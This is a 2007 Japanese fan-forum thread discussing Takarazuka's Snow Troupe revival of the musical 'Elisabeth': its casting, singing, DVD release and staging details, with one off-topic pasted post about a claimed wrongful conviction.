ユミルド 50%
ブンルド 30%
コムルド 15%
テルルド  1%

ねったんルド見た人きぼん

103 :名無しさん@花束いっぱい。:2007/08/08(水) 06:27:19 ID:OGHpHy1f
革命成功の確率
わたるエルマー99%
ねったんエルマー85%
蘭とむエルマー70%
タカコエルマー50%
みちこエルマー30%
ひろみエルマー1%

初演雪、星、宙は観てないのであくまでイメージ。
観た方つっこみよろでつ。

104 :名無しさん@花束いっぱい。:2007/08/08(水) 07:26:16 ID:pgxa3NYr
>103
月のエルマーはさららんでつよ。
成功率は、ひろみが1%ならさららんは2%ってとこかと。

105 :名無しさん@花束いっぱい。:2007/08/08(水) 08:18:16 ID:CWdTKJKB
>テルルド  1%
>ひろみエルマー1%

再雪の革命チームって一体・・・orz

106 :名無しさん@花束いっぱい。:2007/08/08(水) 10:05:01 ID:hX+Y4B2n
DVDキタ━━━━━━(゚∀゚)━━━━━━ !!!!!

発売前に届くんだね、今晩は鑑賞会だwktk

107 :名無しさん@花束いっぱい。:2007/08/08(水) 10:27:15 ID:gMp7UBZT
楽天で買ったら、遅いんだったよね・・・我慢、我慢。

108 :名無しさん@花束いっぱい。:2007/08/08(水) 12:47:36 ID:vXHOEH8b
>>107
ナカマ〜〜

109 :名無しさん@花束いっぱい。:2007/08/08(水) 13:22:14 ID:tUgcmD7P
テルルドに1%でも成功率があるってのがすごい
どういう状況だと成功するんだろうな。
反乱のさなかにフランツが急死するとか?

タカコルドの成功率が高いのはエリザベートが後押ししそうだからかな…

110 :名無しさん@花束いっぱい。:2007/08/08(水) 20:02:31 ID:Tl//U6yz
タカコエルマーは企みを水面下で着々と実行しそうで
直情径行でない、いかにも革命家って感じだったとオモ
>103 の成功率
漏れはねったんとタカコを入れ替えたいな

111 :101:2007/08/08(水) 20:51:55 ID:0QZpuWIy
>109
うひルドよりか低くはなかろうと思った数字

112 :名無しさん@花束いっぱい。:2007/08/08(水) 21:45:01 ID:5pvPKZ2N
エリザベートの最初のシーンの裁判官の声は毎回ナマ芝居ですか?
録音テープですか?気になるので教えてください。

113 :名無しさん@花束いっぱい。:2007/08/08(水) 21:46:49 ID:0QZpuWIy
>112
録音です。
というのも裁判官の声をしてる人もプロローグに出てますから。

114 :名無しさん@花束いっぱい。:2007/08/08(水) 21:50:49 ID:YNv0K+UL
>>113 こないだルキの台詞くっちゃったの聞いたから
そうじゃないと思うんだが。
それとも音声さんのミス?

115 :113:2007/08/08(水) 21:53:02 ID:0QZpuWIy
>112
少なくとも月は録音だと思う
裁判官の声してたエリさんはプロローグに出てた(と思う)

116 :名無しさん@花束いっぱい。:2007/08/08(水) 23:07:52 ID:3a5ISyC6
>>85
各役が自分の領域を守っている感じ、抑揚を押さえた感じ、まとまっている故の物足りなさ…。
私はどこかで似た印象を覚えたな、と思い出したのがナント能楽!
押してくるものがないから、良く言えば見る側の想像や感性に任された部分があったなって。
今回は各役の心情の読み取り作業を積極的にしていた自分に気づきました。

117 :名無しさん@花束いっぱい。:2007/08/09(木) 08:34:48 ID:Co+cBPyZ
>112
今回の磯野さんもプロローグに霊魂(ツェップス)として出てるから
録音だと思う。

118 :名無しさん@花束いっぱい。:2007/08/09(木) 12:26:21 ID:2IMUp5UA
【静岡】「おれと一緒にくれば自由になれる」 15歳少女を自宅に3カ月軟禁 無職男(33)を逮捕
http://news22.2ch.net/test/read.cgi/newsplus/1186629376/l50

エリザを連想してしまいました・・・

119 :名無しさん@花束いっぱい。:2007/08/09(木) 19:34:32 ID:uX+ajoXx
>>118
あちゃー…リアルトートは怖いねw

120 :名無しさん@花束いっぱい。:2007/08/09(木) 19:37:10 ID:ihbf+q2B
もうすぐ楽ですな
水の楽コメントに
興味あり

121 :名無しさん@花束いっぱい。:2007/08/10(金) 00:23:02 ID:mNTfNKrQ
コンプリートBOXに入ってた花組の東京公演なんだけど、全体にテンポが速くない?
二つ並べて観てると東京の方がどんどん先に行ってしまうw



122 :名無しさん@花束いっぱい。:2007/08/10(金) 11:15:18 ID:gHyZ6Zus
うん、確かに花のが全体的にテンポ早い。
でもって画質荒い?もともと販売用に撮ったわけじゃないからか
時代のせいか・・・

123 :みなさまのご意見をうかがいたい。:2007/08/10(金) 15:06:40 ID:0HwimPao
平成15年8月6日、いつもどおりに横浜拘置支所4階で新聞を受け取ると、
新聞に「真っ黒なおべんとう」児玉辰春 新日本出版社、「松本サリン事件の罪と
罰」河野義行・浅野健一 第三文明社 の記事が出ていた。
出廷のため、実父にワイシャツ(東京シャツ)とズボンの差し入れをお願いすると、当
日のメモにある。逮捕時のウェストは、97cmだったが90cmを下回っていた。
体重は80kgを割り、足は動かさないので萎縮していた。死んではならないと
そのことだけ考えていた。6月ごろ、朝方、隣のいびきがすごいと思っていたら、
起き上がらず。刑務官数名が入って、状態確認していた。拘置支所は夜に脳卒中を
起こしても、房の外に出られるの可能性があるのは翌朝だ。横浜地方検察庁の
検事の顔と、都筑署の警官を忘れないために、ノートに書いた。

はっぱふみふみさんは魔女裁判で火あぶりに!!
http://academy6.2ch.net/test/read.cgi/psycho/1184980425/
冤罪:横浜都筑事件資料。
http://blue.ap.teacup.com/ladyoscar/2.html

 みなさまのご意見をうかがいたい。




124 :名無しさん@花束いっぱい。:2007/08/10(金) 16:17:29 ID:Y2l1B48w
ふと思った。ダイアナとエリザベートって…。似てんなぁーって………。

125 :名無しさん@花束いっぱい。:2007/08/10(金) 17:14:08 ID:x8d+n/Ar
>>124それ前スレで出た。

126 :名無しさん@花束いっぱい。:2007/08/10(金) 18:22:41 ID:K9ss/S4Y
コンプ買った。
重かった。腕が痛い・・・
郵送のサービスがあるのなら特製袋くらいサービスしてくれよ・・・。

いまお人形さんごっこしてますw
フランツゆみこ&ルドルフゆみこ、瓜二つの親子だ!

127 :名無しさん@花束いっぱい。:2007/08/10(金) 19:24:18 ID:7zuJ9spn
>>124
てか、いろんな分野の人が言ってるさ。

128 :名無しさん@花束いっぱい。:2007/08/10(金) 21:22:35 ID:x8d+n/Ar
>>126ちょw噴いたwwwww
何やってんだwww

あさこもできるよな〜と考えてたら、
ふと、某さえちゃんの合成ベルばら思い出した。

129 :名無しさん@花束いっぱい。:2007/08/10(金) 21:36:41 ID:Ht6j6vmX
>>126
ちょw漏れも仲間に入れとくれw
あさこエリザとあさこルキーニでレマン湖畔のシーンを是非w

130 :名無しさん@花束いっぱい。:2007/08/10(金) 23:57:49 ID:kEDxd92K
闇が広がるのサビのパート
前回の月では、本舞台も銀橋でもトートが上でルドルフが下だったんだけど
今回の雪観たときは、本舞台ではトートが下でルドルフが上
銀橋ではトートが上でルドルフ下だったんだけど
本来はどっちが正しいの?

131 :名無しさん@花束いっぱい。:2007/08/11(土) 00:41:32 ID:RM7MkQW9
>130
何度も書かれてるけどトートが上でルドルフが下
音程自体が耳で聞くよりも実際に歌うほうが難しいので
上下入れ替えはムリだよ

132 :名無しさん@花束いっぱい。:2007/08/11(土) 01:24:24 ID:s1b0GjaH
抱き合わせ販売のエリザDVDはどうでした?
内容が良ければ買おうと思ってるんですが。

133 :名無しさん@花束いっぱい。:2007/08/11(土) 02:06:18 ID:FIzzV2V0
となみさん、もともと歌がうまくないのに間違えた解釈の感情入れて歌うから
より音程外れています。歌のテクがないからこそ音符重視で丁寧に歌ってほしい。
エリザライブCD、とてもじゃないけど聞いていられません・・・。
クレームつけて返品したい気分です。

134 :名無しさん@花束いっぱい。:2007/08/11(土) 03:57:55 ID:r5ZkrzYq
初見のときは、となみ〜評判や予想より全然いいやん!と思ってたが、実況だとヒステリーさが気になるお(´・ω・`)
そんな漏れは気に入ってる曲だけを編集して聴いてまつ。

135 :名無しさん@花束いっぱい。:2007/08/11(土) 08:23:07 ID:xP3UPXpr
ボックス届いたんだけど、ハフスブルク家の紋章の上にネコの割れ物注意貼られてる(´・ω・`)
外箱は輸送用なんだな悲しい。

136 :名無しさん@花束いっぱい。:2007/08/11(土) 08:26:32 ID:Hm6ua9im
>130 いつだってトートは上のメロディを歌っていましたよ、今回も。

137 :名無しさん@花束いっぱい。:2007/08/11(土) 08:46:56 ID:c8OCANlr
8/12(日)3:30ようやく初見…
前に千秋楽初見でアドリブのシーンで劇場全体から置いていかれた事がある
今回はわりとその心配は無いのですが…

138 :名無しさん@花束いっぱい。:2007/08/11(土) 09:35:17 ID:7utgaz95
>136
だよね。
エリザ本のクイズにもなってて、正解はトート上、ルド下、とちゃんと書いてある。

139 :名無しさん@花束いっぱい。:2007/08/11(土) 10:24:51 ID:JEkRaCgc
>126
自分もそれやったw
ついでに♪僕はパパの鏡だから♪と歌ってみた。

140 :名無しさん@花束いっぱい。:2007/08/11(土) 10:26:10 ID:1YytVb9l
カフェブレでテル本人が下を歌ってると言ってた。
でも130さんが見た日は入れかわってたってことですか?
東宝版はルドが上、トートが下なんだっけ?

141 :名無しさん@花束いっぱい。:2007/08/11(土) 11:40:23 ID:lc6sONS8
>>139
それイイ!今度自分もやろ♪
しかし花テロリストと月皇后では何を歌えば・・・・・w

>>140
ヅカは全部トート上、ルド下だよね。
ただ昔の花エンカレでゆみことえりたんが歌った時だけ逆で歌ってた。

142 :名無しさん@花束いっぱい。:2007/08/11(土) 12:30:35 ID:Mvkc9/zx
>>140
ウィーン版の楽譜でも、トート下、ルド上だったとオモ
ヅカは、基本トップがメロディーラインてことだわな

143 :名無しさん@花束いっぱい。:2007/08/11(土) 13:10:48 ID:Hm6ua9im
ムラで初日が少し過ぎた頃、水トートが下を歌っていて聞こえないって
2か8で書いている人が居たから、ただの勘違いだとおもう。
その人は、叩きたかったみたいなんだけど、間違えてた。

144 :名無しさん@花束いっぱい。:2007/08/11(土) 15:47:59 ID:gs1PN+Qs
エリザベートが好きで、今日初めて宝塚を見てきました。
舞台が終わってもまだショーがあるってのが面白い。
役者さんは皆綺麗ですね。

ところで、「私だけに」を昔一路さんが宝塚にいるときに男性の声で歌ってるのを
飛行機で聞いたことがあるのだけどあれは何だったのでしょうか?
それでてっきり宝塚ではあれはトートの歌なんだと思ってました。
「その時〜出会った〜ただ一人の人」とかいう歌詞。
素人の書き込みですみません。

145 :名無しさん@花束いっぱい。:2007/08/11(土) 16:04:36 ID:r5ZkrzYq
>>144
すでに退団発表をしていた一路さんが、TCAというイベントで歌うために、卒業にふさわしい歌詞をつけたものだと思います。
誰かフォローよろでつ。

146 :名無しさん@花束いっぱい。:2007/08/11(土) 17:06:22 ID:aweJzZwD
イベント公演の為の歌詞ではないよ。確かに最後のTCA公演で歌ってるけど。
本公演のラストのデュエットダンスの場面で歌っている時の歌詞だよ。
一路の為に書かれた「私だけに」ね。
退団してからも、一路バージョンの私だけにをコンサートかなんかでも歌ってるよ。

147 :名無しさん@花束いっぱい。:2007/08/11(土) 17:09:42 ID:FDyMi/iE
一路はエリザベートが退団公演で、そのフィナーレのパレード前の最後のソロ。
ということで、卒業スペシャルな歌詞になっています。
あれ、「マイ・ウェイ」っぽかったな・・・。

148 :名無しさん@花束いっぱい。:2007/08/11(土) 17:35:06 ID:e2Pd6SNA
お披露目でエリザは無理だと思った。
大丈夫なのは、ウラトップの未来さん位だもの。
あとは.........


149 :名無しさん@花束いっぱい。:2007/08/11(土) 18:11:26 ID:ipQQEyhI
わたしもお披露目でエリザは好きじゃない。
せっかくの良い作品でもったいないというのもあるし
生徒たちもあとになってもっとできたのに…って思ってしまう気がして。
花組もオサお披露目だったけど、せっかく歌える人なんだから、
もっとトップとして落ち着いて組力も安定してくる
就任後3,4作目にあててほしかった。
オサなんてはじめからある程度長期ってわかってたんだから、余計に。

150 :名無しさん@花束いっぱい。:2007/08/11(土) 18:33:10 ID:gs1PN+Qs
144です。
謎が解けました!
ありがとうございます。
特別バージョンだったのですね。

151 :名無しさん@花束いっぱい。:2007/08/11(土) 19:42:16 ID:1YytVb9l
でもふーちゃんのエリザも彩音のエリザも見たくないわぁ

152 :名無しさん@花束いっぱい。:2007/08/11(土) 19:47:30 ID:jpkQSsnl
いまさらな質問で申し訳ございません・・・
キッチュの意味を教えてください!。

153 :名無しさん@花束いっぱい。:2007/08/11(土) 20:06:25 ID:XkyjeGho
ググレ

154 :名無しさん@花束いっぱい。:2007/08/11(土) 21:46:06 ID:8hoZqIf2
エリザに出演したこと無い上級生って
花→該当者なし(88期以下は除外)
月→かなみん(90期以下は除外)
星→しいちゃん(83期以下は除外)
宙→タニ(85期以下は除外)
だけ?トップ二人がエリザ未経験…。
しかも、かなみんは組替え3回…。
かなみんは経験させてほしい。歌えるんだから。

155 :名無しさん@花束いっぱい。:2007/08/11(土) 21:48:06 ID:7HReGVQG
しいちゃん雪エリザでてるよ

156 :名無しさん@花束いっぱい。:2007/08/11(土) 21:49:39 ID:Mvkc9/zx
>>154
しいちゃんて、初演雪組の時に出演してるんじゃないの?

157 :名無しさん@花束いっぱい。:2007/08/11(土) 21:59:48 ID:ULYvHQ1R
えりたん出てないぞ

158 :名無しさん@花束いっぱい。:2007/08/11(土) 22:04:04 ID:RHITuit/
>112
録音ですよ。
録音のときにキムが台詞を言ってくれたそうです。

歌劇かグラフに書いてあったかな?どこかでその話出ていましたよ。

159 :名無しさん@花束いっぱい。:2007/08/11(土) 23:05:18 ID:XkyjeGho
あひ出てないんじゃ・・・

160 :名無しさん@花束いっぱい。:2007/08/11(土) 23:21:51 ID:8hoZqIf2
訂正
花→えりたん
月→アヒ、かなみん
雪→該当者なし
星→該当者なし
宙→タニ

161 :名無しさん@花束いっぱい。:2007/08/12(日) 00:01:29 ID:i4oOmzPX
ついでにかなみんは組替え2回だとオモ

162 :名無しさん@花束いっぱい。:2007/08/12(日) 00:19:33 ID:MdY3vWTU
>160
宙は、タニとウメ。それから84期以下の宙配属生。
星も、レオンとか、83期以下の配属生は未経験かと。

未経験の生徒は結構多いとオモ。

163 :名無しさん@花束いっぱい。:2007/08/12(日) 02:20:04 ID:G3bua84F
楽近くにやっと観た。エリザ自体は良い作品だから楽しめたけど、
敢えて現体制の雪組で上演する必要性は無かったと思う。
理由は主演の二人(特にシシィの方)が余りにもミスキャストで、
最後まで作品の世界に感情移入出来なかったから。
ゾフィとフランツは、歌唱力も役作りも良かったと思う。
ニンに合うキャストが揃う迄は、簡単に再演して欲しく無いと残念
に思いました。

164 :名無しさん@花束いっぱい。:2007/08/12(日) 08:56:08 ID:eZe88KTC
雪エリザの東宝千秋楽って、スカステで全編収録ありですか?

165 :名無しさん@花束いっぱい。:2007/08/12(日) 14:29:43 ID:6Re9dTbK
私は水のトートはとても良かったと思う。
でもシシィがなぁ…
水トートとあすかシシィで観たかったよ。
その選択肢もあったと思うんだが、
どうしてあすかじゃダメだったのかなぁ。

166 :名無しさん@花束いっぱい。:2007/08/12(日) 14:47:43 ID:cZ2s+gJG
ほんと人それぞれだね。
私はとなみのシシィ、けっこう好きだった。

167 :名無しさん@花束いっぱい。:2007/08/12(日) 15:30:35 ID:SKRNi1mU
となみシシィは歴代シシィに不満だった部分が解消されててかなり好き。
一番のネックは歌唱力だけどこれは歴代シシィも似たようなもんだから。


168 :名無しさん@花束いっぱい。:2007/08/12(日) 15:46:06 ID:co5aq+0D
ずっとロムしてるけど
水トート、人間臭いという人と人智を超えてるという人、
エロいエロくない、
個性的という意見と薄味すぎるという意見に
それぞれまっぷたつにわかれているのが興味深い。
同じ舞台を見てこれほど受ける印象が両極端ってのは面白いですね。
私は、あんまりエロは感じず、
かなり人間寄りで薄味なトートと思ったほう。
そして歴代トートの中でいちばん純朴でかわいいと思いました。

シシィ・ルドルフ・登場時のフランツも
歴代の中で一番幼いイメージを受けた。
ルキーニも、ルキーニ6兄弟の末っ子って感じ。
でも今回の上品な雪エリザ、どのキャラも好きでした。
あと一回くらい見たかったな。

169 :名無しさん@花束いっぱい。:2007/08/12(日) 15:50:00 ID:hOA0lYnP
雪エリザDVDをじっくり見終わった
別アングルではオペラで追いきれなかった表情なんて
見れて、ミズはもちろん主要メンバーは細かい芝居を
頑張ってるなと思ったよ

ミズ:感情溢れるトートは賛否あるだろうけど
私は好きだった。歌はミズ比では相当上手くなってて吃驚したよ。
ただアップになると肌荒れが目立って、ミズ本人が一番辛かったと
思うけど残念だった。

となみ:とりあえずヴィジュアルだけで「宝塚のエリザベート」を
クリア出来てるし、全体的に及第点だけどもう少しとなみのエリザベート像を
見せて欲しかった。

ゆみことキムは劇場で見たときと殆ど変わらず上手いなーと。
ゆみこの表情だったり、キムの顔芸見られてはDVD買って良かった。

テル:一番DVD見て評価変わったかな。劇場で見たときよりも
繊細さが伝わってくるようだった。メイクは研究の余地ありかと。


お稽古場映像でミルクのカゲコーラス部隊の勢いが凄い!
ハマコ最高でしたw

170 :名無しさん@花束いっぱい。:2007/08/12(日) 15:59:34 ID:N0wC3eRR
となみシシィとてもよかった。
大役のプレッシャーや再演ゆえの厳しい評価に答えるだけの
美しさと強さを併せ持つシシィだったよ。

171 :名無しさん@花束いっぱい。:2007/08/12(日) 16:45:21 ID:g2tSt+Kx
>>168
可愛いっていう感想、同感です。
今回の雪エリザは、水彩画のような淡い上品なイメージ。
バートイシュルの場面でとなみが着たドレスの水色が象徴的だなぁと。

賛否両論ありますが、私はすごく好きなエリザでした。

172 :名無しさん@花束いっぱい。:2007/08/12(日) 21:24:43 ID:co5aq+0D
>171
>水彩画のような淡い上品なイメージ

言い得て妙ですね、同感です。
コテコテの濃くて熱いエリザも好きですが、
今回のようなエリザも見れるのが、宝塚の良さだなぁと思います。

173 :名無しさん@花束いっぱい。:2007/08/12(日) 22:54:36 ID:ZvVQ26PG
本日、最後に観てきました。3回目。

水トート:どこまでも人間臭かった。外見はとてつもなく妖しいけど。ちょっぴりホラー風味。
となみエリザ:強さの方向が間違っていると思う。暴走しすぎ。一所懸命さは伝わるけど・・・。
ゆみこフランツ:「シシィ、フランツにしとけって」と何度も思った。歌と雰囲気で落ちかけた。
キムルキーニ:今日初めてキムの良さが分かった気がする。一皮向けたんじゃないかしら?
テルルドルフ:もう少し苦悩の表情が出来ればいいな。歌もこれからだね。

初見の友人はとても楽しんでいたみたい。DVD買ってました。       

174 :名無しさん@花束いっぱい。:2007/08/12(日) 23:25:44 ID:h1XYQW9V
>164
放送があるかどうかは分かりませんが、月組のエリザベートは
2006年の元旦に東宝千秋楽が放送されましたよ。
ちなみに、今年の元旦は大劇場公演(DVDの映像)でした。
参考までに・・・。


175 :名無しさん@花束いっぱい。:2007/08/12(日) 23:41:58 ID:SKRNi1mU
周りの役者たちは実力発揮で見事だった。
非実力派と考えられていたトップコンビも役作りがすばらしくて
トートとシシィの関係性がすごく明確になっていたと思う。


176 :名無しさん@花束いっぱい。:2007/08/12(日) 23:58:25 ID:6Tt2xg0s
感情をあらわにしてもまったく人間臭さのないトートを観て
感情って人間の特色ではないんだ
人間以外にも感情はあるんだよねと改めて感じたりした。


177 :名無しさん@花束いっぱい。:2007/08/13(月) 00:13:49 ID:XMLcm3eo
>>176
むしろ感情むき出しだからこそ、人間ぽくないのでは?
マテトートを見てそう感じた
前に水トートはウィーン版の影響で、宝塚らしいトートに強く回帰したトートって書いてる人が居たけど、私はアプローチは違えど本質的にマテトートに良く似ていると思った

さえちゃんのトートは黄泉の帝王としての威厳だとか品格を重視して、感情を抑えた役作りだった
水のトートは逆に品格や威厳なんかは全く意識してない
幼い・純粋だからこそ人間としては、何か欠落してそうな人ではないような雰囲気なんだと。

178 :名無しさん@花束いっぱい。:2007/08/13(月) 00:24:37 ID:X8wPaDw4
あーあ、となみは結局何もできずに終わっちゃった。

179 :名無しさん@花束いっぱい。:2007/08/13(月) 00:32:10 ID:c/Qmh7rS
幼く純粋なトート…ぴったりな表現だ。
歴代トートの中で最も若々しいと言われたオサトートも
水トートの後に見ると老成して見える。

思わずトート6兄弟wの性格設定を考えてしまいそうな腐女の漏れ

180 :名無しさん@花束いっぱい。:2007/08/13(月) 01:18:02 ID:P+LHfRnT
マデレーネのバレエにがっかり・・・
足ずっと曲がったままだよ。。
もっとダンス上手い子いたんじゃないかな。
表情とかはかわいかったけど。

181 :名無しさん@花束いっぱい。:2007/08/13(月) 01:33:11 ID:trWDHPzJ
幼い、か。なるほど。
私はあまりにも帝王らしい威厳が無くてorzとなったクチだ。

マデレーネは確かに頑張っていたんだろうけど、
上手いダンサーで観たかったね。

182 :名無しさん@花束いっぱい。:2007/08/13(月) 01:49:13 ID:UznGRP1Z
幼いって物は言い様だねw
確かに拙い芸って点では、幼いと言えるんだろうけど
見た目はオサより完全に老けてたじゃんw

下手だと「幼くて純粋」って言うのか・・・勉強になったワw

183 :名無しさん@花束いっぱい。:2007/08/13(月) 02:06:56 ID:AAWj643b
なんかこの何日か、こういう幼〜いヒネクレた文章書く人が
あちらこちらに出没してるね。

184 :名無しさん@花束いっぱい。:2007/08/13(月) 02:58:49 ID:YxXPB0RG
ルキーニとマデレーネっていっつもキスしてた?
今日あまりにも熱いちゅーでびっくらこいた@11時公演
今期のマデレーネちゃんロリ系で好きでしたw
黒天使の中でもマデレーネは一人胸潰してないんだね

185 :名無しさん@花束いっぱい。:2007/08/13(月) 07:41:25 ID:diWTJWR7
ミズさんには是非!セリフで!歌ではもったいない。
白羽さんは誰とも演技をしていなかった・・・
彩吹さん、もっと出しても良かったのでは。
音月さん、なんていうか・・・声が以外にかわいいのにびっくり。

なのでゾフィーさんが憎く思えない。
そりゃ尻ひっぱたきたくなるわな。



186 :名無しさん@花束いっぱい。:2007/08/13(月) 07:51:57 ID:5P1GQm+8
感情むき出し=人間的
というのはちょっと違うように思う。
人間(大人)なら、感情をその塊のままに吐露することは、
理性が邪魔をして逆にためらいを感じるもの。
「幼さ」と感じられるのは、そういう点かもしれないけど、
人外の者としてのある意味大らかな・プリミティブな感情表現となると、
むしろ、ギリシア神話とか古事記・日本書紀などに登場する
八百万の神々のそれを想起させられた。

面白いトートを造型してくれて、感謝。

そして、6回目の再演、ウイーン版来日等のプレッシャーの中、
熱く素晴らしい舞台を魅せてくれた雪組+立さん(涙)ソルーナさん、
ありがとう。

187 :名無しさん@花束いっぱい。:2007/08/13(月) 08:11:18 ID:FIrpaYhV
>>186
感情むき出し=人間ぽくない

って書いてるよ〜。

188 :名無しさん@花束いっぱい。:2007/08/13(月) 08:43:04 ID:5P1GQm+8
ごめん、書き方がまぎらわしかった。
176さん、177さんに、その部分は同感で、
世間で言われがちなのはこうだけど、という意味合いでした。

189 :名無しさん@花束いっぱい。:2007/08/13(月) 09:31:45 ID:hL1AcLOO
幼く純粋なトート。
となみが何も出来ないで終わった。
ふ〜ん。
これがネット操作ってやつか。

190 :名無しさん@花束いっぱい。:2007/08/13(月) 11:33:59 ID:VpP/rhEl
>幼く純粋
これ、私はトートだけじゃなく全体的に感じたなあ。
だから、上手い下手は又別問題だと思う。
雪スレで雪組は元々家族的であるけれど、
今は兄弟テイストみたいな事言ってる人がいたけど、
そういうのも影響してるのかな。
主要な役付きの学年は今までと変わらない(上?)けど、
組の平均が若いんじゃないだろうか。
専科さんも抜けていくし七演目以降どうなるだろう。

191 :名無しさん@花束いっぱい。:2007/08/13(月) 11:39:13 ID:omZoKw4Q
私は今回の雪エリザ好きだったな。 誰がダメとか嫌とか無くて、皆良かった。 DVD予約出遅れて、今届くの待ってるとこ。 早く来ないかなぁ、楽しみだ〜。

192 :名無しさん@花束いっぱい。:2007/08/13(月) 12:38:41 ID:gwc1Ux8h
私も今回の雪エリザ大好きだ。
DVDも良かったよ。

193 :名無しさん@花束いっぱい。:2007/08/13(月) 17:55:37 ID:OjKXJAbH
東京にきて日々進化しつづけてたからDVDはやっぱりちょっと物足りないかな。
でもエリザの世界が幕とじてしまったからDVDみて当分余韻にひたりながら過ごそう。

194 :名無しさん@花束いっぱい。:2007/08/13(月) 19:37:13 ID:W8Rq5h3M
再演雪エリザ大好きなのですが、一つ気になった。
CDの私だけに(3人編)のとなみの詩
「ただ〜私の人生は〜」のところで、たた〜といっている気がしてならん。

195 :名無しさん@花束いっぱい。:2007/08/14(火) 00:57:39 ID:uGJiGfXv
星組で妃里梨江シシィ見たかったなと死んだ子の歳数えw
歌唱力は床とそんなに変わらないか
ビジュアルでねぇ

196 :名無しさん@花束いっぱい。:2007/08/14(火) 02:18:20 ID:cfE73Dqu
エリザベートがみたいOG
ほさち・ミエ・まっひー・そんちゃん・みこ・るいるい

197 :名無しさん@花束いっぱい。:2007/08/14(火) 08:39:40 ID:AVmGvl9z
>196
ほさち! ほさちシシィに水トート。ミーマイ新公コンビのエリザも面白そう。
ほさちの声は独特だが、シシィの凜とした強さ、美しさは合っている気がするね。

198 :名無しさん@花束いっぱい。:2007/08/14(火) 12:10:14 ID:TgD5488c
水はまだいていいトートだと思う。
これでシシィがすばらしかったらいい舞台だっただろうと思う。
それにしてもとなみの演技初めて見たけど静止画だと美しいのに動くとアチャーなタイプだね。
ルドルフも同じく。もったいない。

199 :名無しさん@花束いっぱい。:2007/08/14(火) 12:43:30 ID:0uMLVY5Q
>>196
怖いモノ見たさで、まひるのシシィが見てみたいとずっと思っていたw

200 :名無しさん@花束いっぱい。:2007/08/14(火) 12:48:51 ID:b4E2Q3AJ
>194
私が見た日には
「出てって!あなたには〜たゆらな〜い〜♪」って歌ってたよ

201 :名無しさん@花束いっぱい。:2007/08/14(火) 15:35:25 ID:PWccHgds
わたしはいつも
『あなたにら〜たよらない〜!』と聞こえた。

202 :名無しさん@花束いっぱい。:2007/08/14(火) 17:44:35 ID:b4E2Q3AJ
おどるエリザベートにボクもでるでつ
  ノノノハ  
  ( ●▽●)
  (  つと)ゞ
   ∪ ∪

     ノノノノハ   
⊂⌒つ●▽●)つ  ♪エリッザ
   ゝ  ノ
    ∪

 
       ☆ハノ☆   
  ☆   (●▽●)ノ☆.゜. ♪ベー
     ☆く( へ)     ☆
☆      く    ☆


203 :名無しさん@花束いっぱい。:2007/08/14(火) 17:46:09 ID:b4E2Q3AJ
ひいぃ〜
ベストキャスティングのスレと誤爆した…

204 :名無しさん@花束いっぱい。:2007/08/14(火) 18:10:30 ID:dhgkDAba
>202.203
音声なしだから許す(AAカワエエ・・)

205 :名無しさん@花束いっぱい。:2007/08/14(火) 19:23:04 ID:GpQi98ai
DVD届きました。うーん水は良いけどトナミがね・・・・・・・・・・・。
となみちゃん、VISAの6月号で「音は音程としてではなく感情として捉えたい」
と言ってましたが、それはズンコや花總レベルの方に許されるコメントでつよ。
となみちゃんの現状だと、音程を確実にとってから感情表現の2ステップ必要です。
基本って大切だよね〜とつくづく思った。

206 :名無しさん@花束いっぱい。:2007/08/14(火) 19:42:37 ID:V2o9WnS2
激しくトートとシシィが最悪なエリザだった。
下手な上にそれをごまかすように流れを無視した役作り。
二人の出てないシーンがどれだけ見やすかったか。
二度とこんな不出来な人たちが主演のときにエリザをしないでほしいです。
ついでに水さんととなみちゃんは、もうウンザリなので、早く辞めて、
後進に道を譲ってほしいです。

207 :名無しさん@花束いっぱい。:2007/08/14(火) 19:46:41 ID:oU4U86Hh
>205
花總レベル…???
歌唱力という点では女帝ととなみは大差ないっつーか
となみの方がマシなくらいだと思うのだが。

208 :名無しさん@花束いっぱい。:2007/08/14(火) 20:00:32 ID:nuWYrkt4
>202
おまい、オイラが魔○峰央スレに貼ったやつ取ってきたな?

209 :名無しさん@花束いっぱい:2007/08/14(火) 20:16:07 ID:mX1rxDJO
東宝エリザが・・・決まったらしい??

210 :名無しさん@花束いっぱい。:2007/08/14(火) 20:16:24 ID:QeKpABn+
>207
胴衣。
女帝ととなみの違いは芝居だとオモ。
歌は、声質からいえばとなみの方が上だし
それ以外も女帝の方が上って程のものはない。

211 :名無しさん@花束いっぱい。:2007/08/14(火) 20:22:30 ID:pLXJ9WPX
となシシィ、歌う時に「し」が全部「じ」になるのが気になって仕方なかった
わた〜じだけは〜♪とか
涙〜笑い〜悲じみ〜苦じみ〜♪とか

212 :名無しさん@花束いっぱい。:2007/08/14(火) 20:49:04 ID:btC2Sgy5
音感  お花>>>>となみ
声量  となみ>お花
表現力 お花>>>>となみ

「あー!」って大きい声で歌う勝負ならとなみが勝てるかもしれない。

213 :名無しさん@花束いっぱい。:2007/08/14(火) 20:59:38 ID:vsiy8pKn
>>210
エリザベート、
女帝が、一つ勝っているものを忘れているぞ。

鏡の間のお衣装のレースの豪華さ!
噂では、2000万だたヨ

エリザは、私はアサコがよかったけど、
あとは横並びだなあ・・・

同じ女帝でも、宙はいけてない・・あくまで自分比。

214 :名無しさん@花束いっぱい。:2007/08/14(火) 21:05:34 ID:KiFUoBZl
>>212なぜか一瞬、
お花を水に、となみを(●▽●)にしても成り立つじゃねぇかと思ってしまったorz
上のレスとごっちゃにしたのか・・・?

お花みたいに、歌無理な分、見た目と芝居でカバーできればまだいいんだけど、
どれも中途半端。

215 :名無しさん@花束いっぱい。:2007/08/14(火) 21:15:55 ID:5Fe4SerN
ていうか…となみごときを何故お花と並べて語るのか。
フィールドが違う。
しかも今となみは研10、28歳であのレベル。
お花は初演時で研6、23歳。宙再演時でも研8、25歳。
それであそこまで作り上げたお花と、今のとなみの下手ぶり。
学年も年齢も上なとなみがここまで劣っているのに、お花と並べて語るとは厚かましすぎ。

216 :名無しさん@花束いっぱい。:2007/08/14(火) 21:17:01 ID:YJv9cdYW
となみ、簡単な歌ならごまかせるけど、
エリザみたいな難易度の高い歌になるとボロが出たね。
あれだけ音程が安定しないのは単純に音痴なんだと思う。

217 :名無しさん@花束いっぱい。:2007/08/14(火) 21:40:33 ID:QeKpABn+
>213
2000万ってのは大いなるガセだから。
あのレース、他のシシィのと大して変わらないし。
上質のレースとは質感とかが全然違う。

宝塚の衣装でその値段となると
本物の真珠をふんだんに使うとかでないとありえない。

218 :名無しさん@花束いっぱい。:2007/08/14(火) 21:44:40 ID:b4E2Q3AJ
>208
ば、ば、ばれたか〜スンマセンスンマセン〜

